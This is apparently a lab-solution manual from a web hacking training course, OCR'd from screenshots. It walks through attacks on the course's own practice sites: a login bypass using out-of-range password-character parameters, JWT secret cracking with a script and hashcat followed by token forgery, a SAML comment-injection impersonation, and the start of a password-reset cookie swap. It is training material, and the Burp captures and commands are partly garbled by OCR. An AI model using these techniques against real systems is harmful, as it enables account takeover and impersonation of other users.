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Module: Attacking Authentication
and SSO

Boundary Condition

Challenge URL: http://shop.webhacklab.com/login.php

. Bypass the login security feature to login as user “bcuserX@webhacklab.com”.
Solution:

Step 1: The online shopping application has implemented a login mechanism to safeguard against
brute-force, by randomly asking for the characters at different locations in the password (e.g. 1st,
2nd, 5th and 6th character) for each login request. We have taken the user “john@webhacklab.com”

to demonstrate the solution.

Sign In

Email
john@webhacklab.com

Enter the 1st, 2nd, 5th and 6th characters of your password.

BN

Forgot Your Password? REGISTER
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Step 2: Initiate a login request for your account and intercept it in Burp proxy and send it to the
intruder. Set the same location value in all the parameters, set the attack type to “Battering ram” and
try to brute force using all characters. This fails suggesting that the location value should be

different.

This will lock the accounts for 2 minutes as the application has a rate limiting of 15 attempts.

Request | Payload | Status | Error | Timeout | Length ¥ | Comment |
0 200 = ™) 15697
1 [a | 200 [] [-] 15697
2 b 200 a O 15697
3 c 200 a O 15697
4 d 200 a O 15697
5 e 200 O O 15697
6 f 200 g g 15697
7 g 200 O g 15697
8 h 200 @] Q 15697
9 i 200 O O 15697
10 j 200 (@) (@) 15697
11 k 200 g O 15697
12 | 200 = ™) 15697
13 m 200 a O 15697
14 n 200 (=] =1 156Q7

J Request T Response ]

J Raw T Params T Headers T Hex ]

POST /login.php HTTP/1.1

Host: shop.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;g=0.8
Accept-Language: en-0S,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://shop.webhacklab.com/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 102

Cookie: PHPSESSID=d8g4df%afcbo891lh0o6cmh9ras8o

Connection: close

Upgrade-Insecure-Requests: 1

username=john@webhacklab.com&lcharacter[l]=a&scharacter[1]=a&scharacter[1]=a&scharacter[1]=aibtnLogin=
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Step 3: Send the request to repeater and set the location parameters to greater than 10 assuming
that the password length is less than or equal to 10 (sCharacter[11], sCharacter[12], sCharacter[15]
and sCharacter[16]) and remove the parameter values. If this fails we can try with higher numbers
(e.g. 17,18,19,20). This attack assumes that the application will see different locations (all greater
than the length of the original password) with empty values and match them as NULL resulting in a
TRUE output.

Go Cancel < | > | Target: http://shop.webhacklab.com E‘J @

Request

J Raw T Params T Headers T Hex ]

POST /login.php HTTP/1.1

Host: shop.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;gq=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://shop.webhacklab.com/login.php

Content-Type: application/x-www-form-urlencoded

Content-Length: 102

Cookie: PHPSESSID=d8g4d9afcbo891lh0oécmh9ra80

Connection: close

Upgrade-Insecure-Requests: 1

I»

username=john@webhacklab.com&Fcharacter[11]=&scharacter[12]=&scharacter[15]=&scharacter[16]=4btnLogin K/

v
2 l < l + > Type a search term 0 matches
Response
J RawT Headers T Hex T HTML T Render ]
A
-
<script type='text/javascript'>window.location.href = ’'index.php’;</script>
<div class="android-more-section max-width-500">
<div class="android-section-title mdl-typography--display-l-color-contrast”">Sign In</div>
<div class="android-card-container mdl-grid">
<div class="mdl-cell mdl-cell--12-col mdl-card mdl-shadow--3dp">
<form method="POST" action="" name="loginform">
<div class="mdl-grid">
<div class="mdl-cell mdl-cell--12-col">
~
<div class="mdl-textfield mdl-js-textfield mdl-textfield--floating-label"> v

Step 4: Replaying the same request in the browser would allow us to login as user

‘liohn@webhacklab.com”, similarly you can try the exercise as “bcuserX@webhacklab.com”.

NOTQSECLRE Enter keywords to search entire store PRODUCTS CART MY ORDERS ACCOUNT LOG ouT

Web Hacking- Black Belt Edition -4

Keep calm, stay in the process and see what's going on.
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JWT Brute Force Attack

Challenge URL: http://topup.webhacklab.com/Account/Login

. Login to the “topup” application using your registered account to generate the
access token.

. Brute-force the secret key for the JWT.

. Generate a valid token for user “jwtuserX@webhacklab.com” and access all the
order details.

Solution:

Step 1: Login to the “topup” application using your account and capture the ‘access_token’ in
response. Here, we have used “smith@webhacklab.com” user account.

Send Cancel < v > | Target: http://topup.webhacklab.com| / @
Request Response
JRaw LParams I Headers [ Hex } JRaw I Headers I Hex IJSON Beautifier IJSON Web Tokens ]
1{POST /token HTTP/1.1 E| 1 HTTP/1.1 200 OK L)
2|Host: topup.webhacklab.com 2 Cache-Control: no-cache
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 3 Pragma: no-cache
Gecko/20100101 Firefox/60.0 4 Content-Type: application/json;charset=UTF-8
4 Accept: */* 5 Expires: -1
5 Accept-Language: en-US,en;q=0.5 6 Server: Microsoft-IIS/8.5
& Accept-Encoding: gzip, deflate 7 Access-Control-Allow-0Origin: *
7 Referer: http://topup.webhacklab.com/Account/Login 8 X-Powered-By: ASP.NET
8 Content-Type: application/x-www-form-urlencoded; 9 Date: Wed, 15 Jul 2020 14:16:41 GMT
charset=UTF-8 10 Connection: close
9 X-Requested-With: XMLHttpRequest 11 Content-Length: 485
10 Content-Length: 72 12
11 Cookie: _ RequestVerificationToken= 13| {"access_token":
7953CZ8B2XngIT11YUFalUB14D1i7D0aHzDpqpEphrErJLv7Fedyk3w "eyJ]0eXAi0iJKV1QiLCIhbGci0iJIUzI1INiJ9. eyJlbmlxdW
c4IXgKR2PWOY316qSGzE9pw436wlNde8MAY r700FtnFEQVY2MUrsl; VfbmFtZSI6InNtaXRoQHd1YmhhY2tsYWIuY29tIiwiZWlhaw
ASP.NET_SessionId=j50aju2rflczlerbpwl551se wi0iJzbW10aEB3ZWIoYWNrbGFiLmNvbhSIsImlzcyI6ImhOdH
12 Connection: close A6LY93ZWIoYWNrbGFiLmNvhS8iLCI1eHALiOjE10TYwMzIyMD
13 EsIm5iZiI6MTUSNDgyM]j YwMXO. 8uxibbSMX8ovZtNxxTTrCe
14 username=smith%40webhacklab.com&password=Test1234!& a9UTFHO81KgyTIBrAOxus8", "token_type": "bearer",
grant_type=password "expires_in":1209599, "userName":
"smith@webhacklab.com", "id":
"cBe9ab9c-70b4-4bf7-a57a-1543408641a8", ". issued"
1 "Wed, 15 Jul 2020 14:16:41 GMT",".expires":
"Wed, 29 Jul 2020 14:16:41 GMT"} L
v v
@@} | €| |search... 0 matches | \n | Pretty @@} | €| Search... 0 matches | \n | | Pretty
Daone 765 bytes | 158 millis
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Step 2: Decode the JSON Web Token (JWT) using the website https://jwt.io/ and observe

‘'unique_name' and 'email'.

I JSON Web Tokens - jwtio X | +

Encoded

Decoded

Crafted by Auth0

eyJBeXAi0iJKV1QiLCJhbGeci01JIUZITNiJ9 . eyJ
TbmlxdWVfbmFtZSI6InNtaXRoQHd1YmhhY2tsYWI
uY¥29tTiwiZW1haWwiOiJzbW1@aEB3ZWJoYWNrbGF
iLmNvbSIsImlzcyI6ImhBdHA6LY93ZWJoYWNrbGF
iLmNvbS8ilLCJ1eHAiOjE10TYwMzIyMDEsIm5iZiT
6MTUSNDgyMjYwMX0 . 8uxibbSMX8ovZ tNxxTTrCea
9UTFHO81KgyTIBrA®xus8

HEADER:

{
"typ": "JWT",
‘alg”: "HS256"
1

PAYLOAD:

'unique_name
'email”:

VERIFY SIGNATURE

[ I'secret baseb4 encoded

Step 3: Use the script “brute-jwt.py” from the directory “~/tools/json_web_tokens” to brute-force the

“secret key” required for signing the token.

root@Kali:~/tools/json web tokens# python3 brute-jwt.py --file secrets.txt --
algorithm HS256 --token <TOKEN_VALUE_HERE>

Invalid Token . [secret]
Invalid Token .... [s3cr3t]
Invalid Token .... [better]
Invalid Token .... [b3tt3r]
Invalid Token .... [bett3r]
Invalid Token .... [aaa]

Invalid Token .... [abc]

Invalid Token .... [sup3rs3cr3tkeyl234]

Invalid Token .... [academial
Invalid Token .... [academic]
Invalid Token .... [access]

e e .

Invalid Token .... [yang]
Invalid Token .... [yellowstone]
Invalid Token .... [yolandal
Invalid Token .... [yosemite]
Invalid Token .... [zap]

Invalid Token .... [zimmerman]
Invalid Token .... [zmodem]
Invalid Token .... [b3tter]
Invalid Token .... [tarik]
Success! Token decoded with ....[nolsosecurekey1234]

root@kali:~/tools/json_web_tokens# python3 brute-jwt.py --Tile secrets.txt --algorithm H5256 --toke
n eyJOeXAi0iJKV1QiLCJIhbGci0iJIUzI1NiJ9 . eyllbmlxdWVfbmFtZSI6InNtaXRoQHd1YmhhY2tsYWIuY29tIiwiZWlhaWw
101JzbW10aEB3ZWIoYWNrbGFilmNvbSIsImlzcyI6ImhOdHAGLY93ZWIoYWNrbGFilmNvbS8ilCI1eHAIOJELOTYwMzIyMDEST
m51Z1iT6MTUSNDgyM]jYwMX0O . BuxibbSMX8ovZtNxxTTrCea9UTFHOB1KgyTIBrA@xus
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Identified “secret key” can be used to generate a new token for user “jwtuserX@webhacklab.com”.

Alternative: Use the hashcat utility to brute-force the 'secret key' required for signing the token.

root@Kali:~/tools/json web tokens# hashcat -a® -m 16500 <FILE_CONTAINS_TOKEN>

secrets.txt

root® kali)-[~/tools/json_web_tokens
#|cat jwt_token.txt
eyJ0eXA101JKV1Q1LCIhbGc101JIUzI1IN1J9.eyJlbmlxdWVfbmFtZSI6InNhbmpheS5uc3NAbWFpbGLUYXRvc
15jb20iLCI1bWFpbCI6INNhbmpheS5uc3NAbWFpbGLUuYXRvci5jb2@iLCIpc3MiOiJodHRwO18vd2ViaGFja2x
hYi5jb20vIiwizZXhwIjoxNjI3NTcOOTMwWLCIuYmYi0jE2MYZNIUZMzZBO. PMY77F_qVAEL1B4Iz8Z_gFPSXTZn
ZsCFhViMSsmefQY

root® kali)-[~/tools/ison web tokens
# hashcat -a@ -m 16500 jwt_ token.txt secrets.txt
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_
DEBUG) - Platform #1 [The pocl project]

eyJ0eXA101JKV1QiLCIhbGc101JIUzI1IN1J9.eyJlbmlxdWVfbmFtZSI6InNhbmpheS5uc3NAbWFpbGLUYXRvC
15jb20iLCI1bWFpbCI6InNhbmpheS5uc3NAbWFpbGLUuYXRvci5jb20iLCIpc3Mi0iJodHRwWO18vd2ViaGFja2x
hYi5jb20vIiwizXhwIjoxNjI3NTcOOTMWLCIUYmYi0jE2MIYZNIUZMZBY . PMY77F_qVAEL1B4Iz8Z_gFPSXTZn
ZsCFhViMSsm6fQY:notsosecurekeyl1234

Session : hashcat

Status : Cracked

Hash.Name : JWT (JSON Web Token)

Hash.Target : eyJ0eXAi01JKV1QiLCIhbGci01JIUzI1INiJ9.eyJlbmlxdwVfbm ... sm6fQY
Time.Started : Thu Jul 15 09:11:53 2021 (0@ secs)

Time.Estimated ... : Thu Jul 15 ©9:11:53 2021 (@ secs)

Guess.Base : File (secrets.txt)

Guess.Queue : 1/1 (100.00%)

Speed.#1 : 12259 H/s (0.84ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered : 1/1 (100.00%) Digests

Progress : 826/826 (100.00%)

Rejected : 0/826 (0.00%)

Restore.Point : 0/826 (0.00%)

Restore.Sub.#1 ... : Salt:® Amplifier:@-1 Iteration:0-1

Candidates.#1 :| secret — notsosecurekeyl234

Started: Thu Jul 15 09:11:28 2021
Stopped: Thu Jul 15 ©09:11:55 2021
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Step 4: Creation of a new token. Add “jwtuserX@webhacklab.com” in the “unique_name” and
“email” parameters. Sign the token using the secret key “notsosecurekey1234” from the previous

step.

Crafted by Auth0

Encoded Decoded

HEADER:

eyJoeXAi0iJKV1QiLCJhbGei0iJIUZIINiJ9. ey

J1bmlxdWVfbmFtZSI6Imp3dHVZZXIXMEB3ZWJoY { T
WNrbGFiLmNvbSIsImVtYWlsIjoiand@dXNlcjEw S e
QHd1Y¥mhhY2tsYWIuY29tIiwiaXNzIjoiaHR@cDo }

vL3d1YmhhY2tsYWIuY29tLyIsImVAcCI6MTUSN]
AzMjIwMSwibmJmIjoxNTkOODIyNjAxfQ.RrvMfe
0sHYXiSAt3DzpC_gEwGOJSuzumWimFIPcvDhI

PAYLOAD: [

VERIFY SIGNATURE

[Isecret base64 encoded

Step 5: Set the newly generated “Access Token” in the “Authorization” header to gain access to the

order details of the user “jwtuserX@webhacklab.com”.

Send Cancel <|v > | | Target: http://topup.webhacklab.com |/ @

Request Response

J Raw I Params I Headers I Hex MWS MSON Web Tokens j Raw T Headers [ Hex MSON Beautifier

ﬁGET /apiforder HTTP/1.1 |4 1 HTTP/1.1 200 OK B
Host: topup.webhacklab.com 2 Cache-Control: no-cache

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) 3 Pragma: no-cache

Gecko/20100101 Firefox/60.0 4 Content-Type: application/json; charset=utf-8

4 Accept: */* 5 Expires: -1

5 Accept-Language: en-US,en;q=0.5 6 Server: Microsoft-IIS/8.5

6 Accept-Encoding: gzip, deflate 7 X-AspNet-Version: 4.0.30319

7 Referer: http://topup.webhacklab.com/shop/myorder 8 X-Powered-By: ASP.NET

8 Authorization: Bearer 9 Date: Wed, 15 Jul 2020 15:56:46 GMT
eyJ0eXA101JKV1QiLCIhbGc101iJIUzIIN1J9. eyl 1bmlxdWVFbmF 10 Connection: close v
tZSI6Imp3dHVZZXIXMEB3ZWIoYWNrbGFiLmNvbSIsImVtYWlsIjo 11 Content-Length: 2333
iandOdXNlcjEwQHd1YmhhY2tsYWIuY29tIiwiaXNzIjoiaHROcDo 12
vL3d1YmhhY2tsYWIuY29tLyIsImV4cCIGMTUSN] AzMj IwMSwibm] 1B [{"id":4480, "user":null, "productID": "12", "status":
mIjoxNTkOODIyNjAxfQ.RrvMf60sHYXiSAt3DzpC_gEwG0JSuzum "Success", "discount":null, "paymentOption":null,
WimF IPcvDhI| "paymentStatus": "Confirmed", "transactionid":

9 X-Requested-With: XMLHttpRequest "229a5c 973 a3 07", "hash":null,

10 Cookie: _ RequestVerificationToken= "email"{"jwituserlO@webhacklab.com"] "createdDate":
7953CZ8B2XngIT11YUFalUB14D1i7D0aHzDpgpEphrEriLv7Fedy "7/16/2018 3:36:08 PM", "amount":"197", "notes":null,
k3Wc4IXqKR2PWOY316qSGzE9pw436wlNde8MAY r700FtnFEQVY2M "invoice":

Ur81; ASP.NET_Sessionld=j50aju2rflczlerbpwl551se "gFCIh8Iploz0/E+KCSi/Bt3Mu08IROT rLSCDP+9V+nBiYdrsxQ

11 Connection: close 8MF2ptdPeUlgN+IYwSOif5Nqqoho+99bDxvw=="}, {"id":4479

12 ,"user":null, "productID": "8", "status": "Success",

13 "discount":null, "paymentOption":null,

"paymentStatus": "Confirmed", "transactionid":

v "824bf45082df4a7294f82bd6bad78a65", "hash": null, v
®{§}&J - | [Search... 0 matches | in | | Pretty @ios€][2] search... 0 matches | in | [ Pretty
Done 2,612 bytes | 354 millis
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SAML Authorization Bypass

Challenge URL: http://topup.webhacklab.com/samIl/SAML.aspx

e Login as user “not-a-john@webhacklab.com”.
e Decode the SAML data into XML format.
o Exploit SAML XML to login as user “john@webhacklab.com”.

Solution:

Step 1: Click on “Sign in with SAML (beta)” as shown in Figure:

Login

Password

Sign in with SAML (beta)

Enraot Yaur Pacawnrd? Enront

@ Web Hacking- Black Belt Edition - Mozilla Firefox (Private Browsing)
(== 8| Web Hacking- Black ... x “-k+
# (€ 3|® & topup.webhacklab.com/Account/Login | e | & =
= NQTEWE HOME  TOPUP  VOUCHERS SHOP  LOGIN  REGISTER

>

w NotSoSecure part of
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Step 2: Click on “Sign in with OneLogin” as shown in Figure:

Mozilla Firefox (Private Browsing) RSP E = O

@8 | | http:/top.../SAML.aspx x | +
A

€ | @ | topup.webhacklab.com/saml/SAML.aspx | v e $& & HE

Sign into topup.webhacklab.com

This work space requires you to sign in with any
webhacklab account

O~ Sign in with OneLogin
O~ Sign in with Shibboleth IDP

Step 3: Enter 'not-a-john@webhacklab.com' in username field on the onelogin page as shown in
Figure.

& https://notsosecure-dev.onelogin.com/login2/?return=eyJhbGciOiJIUzI1N | ees ¥

onelogin

Username

I not-a-john@webhacklab.com I

Remember my username

Forgot Password

NotSoSecure part of Page: | 10
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Step 4: Enter the password on the onelogin page as shown in Figure.

& https://notsosecure-dev.onelogin.com/login2/?return=eyJhbGciOiJIUzI1MN === & ¥

onelogin

Username

not-a-john@webhacklab.com

Password

Forgot Password

Step 5: Click on continue button.

© & https://notsosecure-dev.onelogin.com/saml/signon/771448?SAMLReque= =+ & ¥

The information you have entered on this page will be sent over an insecure
connection and could be read by a third party.

Are you sure you want to send this information?

Cancel IContinue I

NotSoSecure part of Page: | 11
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Step 6: The figure shows intercepted HTTP Request for the above step; we can analyse that this

request contains SAML data:

Burp Suite Community Edition v1.7.33 - Temporary Project
Burp Intruder Repeater Window Help

Decoder | Comparer | Extender |  Projectoptions | Useroptions | Alerts |  JSOM Beautifier | JOSEPH

Target T Froxy T Spider T Scanner T Intruder T Repeater T Sequencer

_[.lr;te_rc‘ep_tl HTTP history TWebSockets history LOptions ]

[# | Request to http:/ftopup. webhacklab.com:80 [192.168.200.110] |

[ Forward J [ Drop J [ Intercept is on 1 [ Action J Comment this item

JRpr Params T Headers T Hex ] SAML I

e
|

0ST /saml/consume.aspx HTTP/1.1
ost: topup webhacklab com

9 1686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html appllcatlon/xhtm1+xml application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Cookie:

_ _RequestVerificationToken=MNprX223XY6PMW7dgxxo0ghUpLKfaxpsOWHxNIIm7uBHUL_bsmPDvivAn_gsI4ySS14FQKmWKExdavFbKA79A-AvBx
lov_fpMKM1iRb9clmol

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 6417

AHLResponse= HthVwaO'LJ1:3BvbnNIIHhtbGSzOnthHwQInVybj pvYXNpczpuYWllczp0%OD%0AYzpTQUIMO] IuMDphc3NlcnRpb24iIHhtbhG52z0n
b xwP cmdbh2FzaXM6%0D%0AbmFtZXMEdGMEUDFNTDoyL jA6cHIvdGO) b2wiIELEPSISY jFmNj U4NGY30WMz%0D%0AZTRhMTc4Y2I5N] ALYWRIND
VmONMAYWEYT 1170 Taltmive 21 vhi A1M3 AuTiR1ZANZAAFINT 71T 11~ RhhnNAT i TuMTA+MN - +MTRIIMNARMNNAMTh=Ti RE7XNARUWS hART vANSAAhi A1 2H

pe a search term | 0 match

-

es

Step 7: The figure shows the intercepted HTTP request; we can analyze the email id “not-a-
john@webhacklab.com”:

Ii Burp Suite Community Edition v1.7.33 - Temporary Project
Burp Intruder Repeater Window Help

Decoder | Comparer | Exender |  Projectoptions | Useroptions | Alerts |  JSON Beautifier | JOSEPH

Target T Rrowy Spider T Scanner Intruder T Repeater T Sequencer

_[ lq:ergeptT HTTP history T WebSockets history T Options ]

[7] Request to http:fftopup.webhacklab.com:80 [192.168.200.110] I

[Raw T Params T Headers T Hex TSMJ_]

L Forward J [ Drop J f Intercept is on ] L Action J Comment this item @ @

MIGZBgNVHSMEQZEwgY6AFF1QAZkdQuFAmMG2wcLWwch06ITLooWCkX]jBcMQswCQYDVQQGEWIVUZEUMBIGAIUECQWLTMI0c292ZWN1cmUXxFTATBgNVBASM
DESQuZUxvZ21uIELKUDEgMB4GAIUEAWWXT251TGOnaW4gQwWN]jb3VudCAXMjQ5NzSCFA24j05aWx9g9]1thUjVINQNSTLMMA4GA1UdDWEB /wQEAWIHGDAN
BgkghkiG9wOBAQUFAAOCAQEAFhBMTQ4TegKXnNQfe91LbVIpkPWIZEzTh6bRVpmBVNB6QLZUOeEKX7aEWvgeac85h6y115D6xU2D41F4LrI1ZUx035tq
GIVd1bMw4huliuml43TFjL7cqbU4CCOg2hmRTCDtQ0O55HB0u740XISeN6IX]jYF199Dleudjyq7077PviQTdoVYLENBeUIIfCGxknIgidlAfw7 /ED9+uF
oOCPOprmeanJNeUAllrIJ79E+f2KRBhleR682VrJpoUZfKTWHGSlqu74owVDQsqLKBlSau1fFURwSt18YMx+RoVObe8101A7xJVlOIBrvaCtMlE
5Anw3bt24erHXySSg =</ds:X509Certificate>=/ds:X509Data></ds:Keyln d go = ~Subject><saml:NameID
Format="urn:oasis:names:tc:SAML:1.1l:nameid-format:emailAddress’ saml NameID><saml:Subject
Confirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><sa us

NotOnOrAfter="2018-07-10T08:07:18Z" Recipient="http://topup. webhacklab com/"
InResponseTo="_1a349b9%e-8a62-415c-b034-bb0c67309ee0"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions
NotBefore="2018-07-10T08:01:18Z"
NotOnOrAfter="2018-07-10T08:07:18Z"><saml:AudienceRestriction><saml:Audience>http://topup.webhacklab.com/</saml:Audi
ence></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2018-07-10T08:04:17Z"
SessionNotOnOrAfter="2018-07-11T08:04:18Z"
SessionIndex="_c28f3170-6645-0136-4603-02680bb01398"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:t
C:SAML:2.0:ac:classes:PasswordProtectedTransport</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatemen
t></saml:Assertion></samlp:Response>

T T T I;not-a-john@webhacklahcom] ] 1 match

q

v

NotSoSecure part of
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Step 8: Replace email id “not-a-john@webhacklab.com” with “not-a-<!-- this is comment --

>john@webhacklab.com” as shown in the figure below.

Burp Suite Community Edition v1.7.33 - Temporary Project

Burp Intruder Repeater Window Help

Decoder T Comparer T Extender T Project options T User options T Alerts T JSON Beautifier T JOSEPH
Target T Rraxy T Spider T Scanner T Intruder T Repeater T Sequencer

_[ Im’:en:egq HTTP history TWebSockets history T Options ]

#|[Request to http /topup webhacklab_com:80_[192 168.200.110] |

[ Forward | [ Drop J ( Intercept is on ] [ Action J Comment this item L:::J @

[Raw T Params THeaders THex TSAML]

VQQLDAXPbmVMb2dpbiBIZFAxIDAeBgNVBAMMFOOuZUxvZ2 luIEFjY291bnQgMTIO0TcOMB4XDTE4MDQWMZEYNTYX0VoXDTIZzMDQwMzEYNTYx0VowXDEL A
MAKGA1UEBhMCVVMxFDASBgNVBAoMCOS5vdHNvc2VjdXI IMRUWEWYDVQQLDAXPbmVMb2dpbiBIZFAXIDAeBgNVBAMMFOOUZUXxvZ21uIEFjY291bnQgMTIO
OTcOMIIBIjANBgkghkiGOwOBAQEFAAOCAQB8AMIIBCGKCAQEAZICR41NLRgkuqIUC2My rUu+vEewBRHEDG6aaxqG5jMBNHyW7bIxFamfI+gdh6ypGoQ5Qth
UONrACKEUgjRPQVNNarFqFcSrD+KUKE7QXK310B152+k4+4qDbtKIa2aNQuLXKroGz8hyEpxbIOHt/7E6eM+xjMxEa0zFZDDIFtHIysuy/y1Csbh1l/vHR
Jp9hcrNaRFBYz8WN9gng6+0t1aKNN4KPzRZqIPsU+P34kCRNaAe8xv/5n] XTpXQkrQzGnMsGCoNS61p9kvL1+LfVs4yCIUstdoBKubv+HOE67Khg/Gycx
20+j0Dv9aZFchC506M5061yM07sz5knEzxrFg9M+NQIDAQABo4HCMIHZMAWGA1UJEWEB /wQCMAAWHQYDVROOBBYEFF1QAZkdQuFAmg2wclLviwch06ITlo
MIGZBgNVHSMEQZEwgY6AFF1QAZkdQuFAmg2wcLWwecbB6ITlooWCkX]BcMQswCQYDVQQGEWIVUZEUMBIGAIUECQWLTMO0c292zZWN1cmUxFTATBgNVBASM
DE9uZUxvZ2LuIELkUDEgMB4GALUEAWWXT251TGOnawW4gQwWNjb3VudCAXMjQ5NzSCFA24j0saWx9g9]1thUjVINQNSTLMMA4GA1UdDWEB/wQEAWIHgDAN
BgkqhkiG9wOBAQUFAAOCAQEAFhBMTQ4TeqKXnNQfe9lLbVIpkPWIZEzTh6bRVpm8VNB6QLZUOEKX7aEWvgeac85h6yil5DGxU2D41F4Lrl11ZUx035tq
GJlewa4hullumJ43TF]L7cqu4CCOgthRfCDtOOSSH80u74OXISeNSIX]YFlSQDleuOJyq7077Pv10TdoVYLEN8eUIJfCkanIgldlAfw7/E09+uF
00CPONVEmOpPilells KRRh1eRAS po KIWHGSigbRZ40wVD0sal KR1RS BYMxtRoVOShxB10TAZ CtM1E

Anw3bt24erHXySSg =</ds:X509Certificate></ds:X509Data></ds:Key aS A ct><sam1.NameID
ormat="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress"snot-a-<!-- this is comment
/saml: NameID><sam1 Sub]ectConflrmatlon

Rec1p1ent-"http //topup webhacklab com/"

InResponseTo="_1a349b9%-8a62-415c-b034-bb0c67309ee0" /></saml:SubjectConfirmation></saml:Subject><saml:Conditions -
NntRafnre="72A1R-A7-1ATAR-N1.187"

Inot-a--:l-- this is comment --=john@webhacklab.com I 1 match

Step 9: As shown in the figure below, the XML parser returns the last child node as
“iohn@webhacklab.com”

Burp Suite Community Edition v1.7.33 - Temporary Project
Burp Intruder Repeater Window Help

Decoder T Cornparer T Extender T Project options T User options TA|erts T JSON Beautifier T JOSEPH
Target T Rroxy T Spider T Scanner T Intruder T Repeater T Sequencer

_[Ir;'tercegt_T HTTP history T WebSockets history TOptions ]

lResponse from http:/ftopup.webhacklab. com:80/samlfconsurme. aspx [192.168200.110]'

[ Forward J [ Drop J ( Intercept is on ] [ Action J Comment this

[
=)

JRaw T Headers I Hex I HTML T Render LViewState ]

HTTP/1.1 200 0K A
Cache-Control: private

Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Tue, 10 Jul 2018 08:06:58 GMT
Connection: close

Content-Length: 1965

K!john@webhacklab.com I

<IDOCTYPE html>

<html xmlns="http://www.w3.0rg/1999/xhtml">
<head><title>

=
</titlesclink ral="ctulachaat" tuna="tavt/rsc" href=" /Content/swestalart? min rec" /> ¥
? < + - Tvpe a search term 0 matches
Page: | 13
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Step 10: The figure shows that we have successfully logged into user account

“john@webhacklab.com”:

@ Web Hacking- Black Belt Edition - Mozilla Firefox (Private Browsing)

(==} /'| Web Hacking- Black ... x | +

@ ('W@Itopup.webhacklab.com |

= NOT@WE HOME  TOPUP  VOUCHERS SHOP JOHN:‘J}"’WEBHACKLAB.COM| MY ORDERS Q

. >

Web Hacking- Black Belt Edition

Keep calm, stay in the process and see what's going on.

Wl iebatlt m'ﬂ'%

w NotSoSecure part of Page: | 14
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Module: Password Reset Attacks

Cookie Swap

Challenge URL: http://topup.webhacklab.com/Account/ForgotPassword
e Change the password of the user “csuserX@webhacklab.com” through forgot
password functionality.
Solution:

Step 1: Initiate the forgot password request as your user and select the method “Answer Security
Question”, we are using “foo@webhacklab.com” as an authenticated user and

“anant@webhacklab.com” as victim for walkthrough:

topup.webhacklab.com/Account/ForgotPassword

HOME TOPUP VOUCHERS

Forgot your password?

O Recover using registered Email
@ Answer Security Questions

Email
foo@webhacklab.com

EMAIL LINK

w NotSoSecure part of Page: | 15
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Step 2: Answer the secret questions and the application would redirect to the “Set New Password”

page, as shown below:

topup.webhacklab.com/Account/SecurityQuestion

HOME TOPUP VOUCHERS SHOP SUNIL{

Please answer your security question

What was your favorite sport in high school?

RESET PASSWORD

Step 3: Do not reset the password. We will revisit this page in Step 6.

<« C ® (@ # topup.webhacklab.com/Account/ResetPassword

NOT@SECLRE

Reset your password.

w NotSoSecure part of Page: | 16
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Step 4: In another browser (or private browsing window), initiate the forgot password request as
your target user “foo@webhacklab.com” (here “anant@webhacklab.com” the victim) into the

application. Here, we have used “Firefox”:

T

U Web Hacking- Black Belt Edition - Mozilla Firefox \ AREEN XY

|/ | Web Hacking- Black ... x ‘\+

@A € -)I @ & | topup.webhacklab.com/Account/ForgotPassword I ¢ $ & 0O =
W NotSoSecure @ Health Check @ Shopping Portal | Topup Website @ MBlog Portal [BJJWT @ Database Connection »
= NOT@x-CURE HOME  TOPUP  VOUCHERS SHOP  LOGIN REGISTER Q :

Forgot your password?

() Recover using registered Email
(&) Answer Security Questions

Email
anant@webhacklab.com

Step 5: Capture the value of the cookie * ASP.NET_Sessionld’ present in the response, as shown

below:

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
POST /Account/ForgotPassword HTTP/1.1 +  HTTP/1.1 302 Found
Host: topup.webhacklab.com Cache-Control: private
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Content-Type: text/html; charset=utf-8
Gecko/20100101 Firefox/59.0 Location: /Account/SecurityQuestion
Accept: text/ntml,application/xhtml+xml,applicationfxml;q=0.9,"/";q=0.8 Server: Microsoft-IS/8.5
Accept-Language: en-US en;q=0.5 Sei-Cookie:ESP.NET_Sessionld=geomDthsycjojmhkvmtfznt;])ath=l; HitpOnly
Accept-Encoding: gzip, deflate X-AspNetiMvc-Version:'5.2
Referer: http:/fopup.webhacklab.com/Account/ForgotPassword X-AspNet-Version: 4.0.30319
Content-Type: application/x-www-form-urlencoded X-Powered-By: ASP.NET
Content-Length: 181 Date: Fri, 16 Mar 2018 10:14:37 GMT
Cookie: Connection: close
__RequestVerificationToken=VQpywDJbh-S6BOWxBf-EiTDZq2a3lYBYEV Content-Length: 142
76Q14Ykjg3DsVwOywYb0cH4 Ykgzd37LEAJLB 1IWTZ6IngwSQF MYFy0mQ
0G4viLzu6iTvvNI1 <html><head><title>0Object moved<#itle></head><body>
DNT: 1 <h2>0bject moved to <a href="/Account/SecurityQuestion">here</a>.</h2>
Connection: close </body></html>
Upgrade-Insecure-Requests: 1
